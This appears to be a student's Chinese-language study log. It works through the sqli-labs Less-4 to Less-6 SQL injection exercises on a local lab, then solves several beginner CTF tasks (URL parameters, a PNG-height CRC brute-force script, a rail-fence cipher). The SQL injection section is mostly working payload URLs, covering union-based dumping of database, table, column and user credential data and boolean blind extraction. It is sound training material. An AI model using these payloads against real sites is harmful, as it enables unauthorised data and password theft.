一、sqli-labs
less4:
打开less4的index.php文件,在SQL语句下添加如下两句:
echo $sql;
echo "<br>";
1.判断是否存在注入:
http://127.0.0.1/sqli/Less-4/?id=1
http://127.0.0.1/sqli/Less-4/?id=1'显式正确
http://127.0.0.1/sqli/Less-4/?id=1"显式不正确
得到报错信息:
根据报错信息构造正确的SQL语句:
http://127.0.0.1/sqli/Less-4/?id=1")--+
2.查看列数:
http://127.0.0.1/sqli/Less-4/?id=1") order by 3--+显示正常
http://127.0.0.1/sqli/Less-4/?id=1") order by 4--+显示不正常
得到列数为3
3.判断回显位置:
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,3--+
4.查看所有数据库:
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(schema_name)from information_schema.schemata--+
5.查看security数据库的所有表:
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479--+
6.查看users表所有的列信息:
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7573657273--+
7.得到所有的用户信息:
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(concat_ws(0x7e,username,password))from security.users--+
Less5:
1.判断是否存在SQL注入:
http://127.0.0.1/sqli/Less-5/?id=1
http://127.0.0.1/sqli/Less-5/?id=1'
http://127.0.0.1/sqli/Less-5/?id=-1
存在布尔盲注
2.判断列数
http://127.0.0.1/sqli/Less-5/?id=1' order by 3--+
http://127.0.0.1/sqli/Less-5/?id=1' order by 4--+
确定列数为3.
3.开始手动爆破数据库名的第一个字符:
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))>122--+没有显示
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))>97--+显示成功
判断数据库第一个字符的ascii码值在97~122之间,利用折半查找法确定第一位字符:
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))>100--+显示成功
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))>110--+显示成功
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))>120--+没有显示
ascii码值在110~120之间
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))=114--+没有显示
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))=115--+显示成功
则数据库的第一个字符为s.
2.使用burpsuite进行剩余的爆库处理:
http://127.0.0.1/sqli/Less-5/?id=1' and substr((select database()),1,1)='s'--+
http://127.0.0.1/sqli/Less-5/?id=1' and substr((select database()),2,1)='s'--+
得到第二位字符为e,于是爆破第三个字符,
依次类推可以得到数据库为security.
Less6:
与第五关类似。
1.判断是否存在SQL注入:
http://127.0.0.1/sqli/Less-6/?id=1
http://127.0.0.1/sqli/Less-6/?id=1"
存在SQL盲注。
2.手动爆破数据库:
http://127.0.0.1/sqli/Less-6/?id=1" and ascii(substr((select database()),1,1))>97--+
http://127.0.0.1/sqli/Less-6/?id=1" and ascii(substr((select database()),1,1))>120--+
所以数据库的第一个字符ascii码在97~120之间。
之后的操作同less5.
也可以通过:
http://127.0.0.1/sqli/Less-6/?id=1" and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>97--+
再通过二分法猜解得到所有的库,表,字段和用户信息。
二、CTF
1.Web
解决:观察网页信息发现如果参数what=flag,就可以输出flag
因此构造Url传参,获取flag
http://114.67.246.176:15366/?what=flag
2.Web
观察网站信息:
需要构造post请求,可以直接利用火狐浏览器的Hackbar插件,在post提交数据 what=flag
3.Misc
下载文件,似乎不能用软件打开:
猜测是图片宽高的问题,于是用winHex打开下载的图片,观察数据:
用python脚本爆破图片原本的宽高:
import os
import binascii
import struct
misc = open("F:/大三上文件/信息安全相关软件/CTF/2.png","rb").read()
#爆破宽
for i in range(1024):
data = misc[12:16] + struct.pack('>i',i)+ misc[20:29]#IHDR数据
crc32 = binascii.crc32(data) & 0xffffffff
#print(crc32)
if crc32 == 0xcbd6df8a:#IHDR块的crc32值
print ("宽应为:",i)
print("hex:"+hex(i))
# 爆破高
for i in range(1024):
data = misc[12:20] + struct.pack('>i',i)+ misc[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
#print(crc32)
if crc32 == 0xcbd6df8a:
print ("高应为:",i)
print("hex:"+hex(i))
运行结果如下:
修改图片高为0x1f4:
又是因为软件原因,修改数据后我的winHEX不能保存,于是我换成了HXD,修改图片高为0x1f4。
再次观察2.png图片,得到flag。
4.Crypto
所谓栅栏密码,就是把要加密的明文分成N个一组,然后把每组的第1个字连起来,形成一段无规律的话。 不过栅栏密码本身有一个潜规则,就是组成栅栏的字母一般不会太多。(一般不超过30个,也就是一、两句话)
分析题目:翻过了2个栅栏,说明是把fa{fe13f590lg6d46d0d0}分成2个组,于是得到:
fa{fe13f590
lg6d46d0d0}
把这两组的第一个字符连起来便得到加密后的栅栏密码:
flag{6fde4163df05d900}
总结:又是装环境装到自我怀疑的一周,不过还好需要的软件最后都安装上了,其实很多题也都是看评论区大佬的发言,然后跟着一步一步做的,有些题仍然不懂为什么那么做,不过还是感谢大神们,希望未来自己也能看一眼题就能知道解题方法,并且明白为什么要那么做。再接再厉。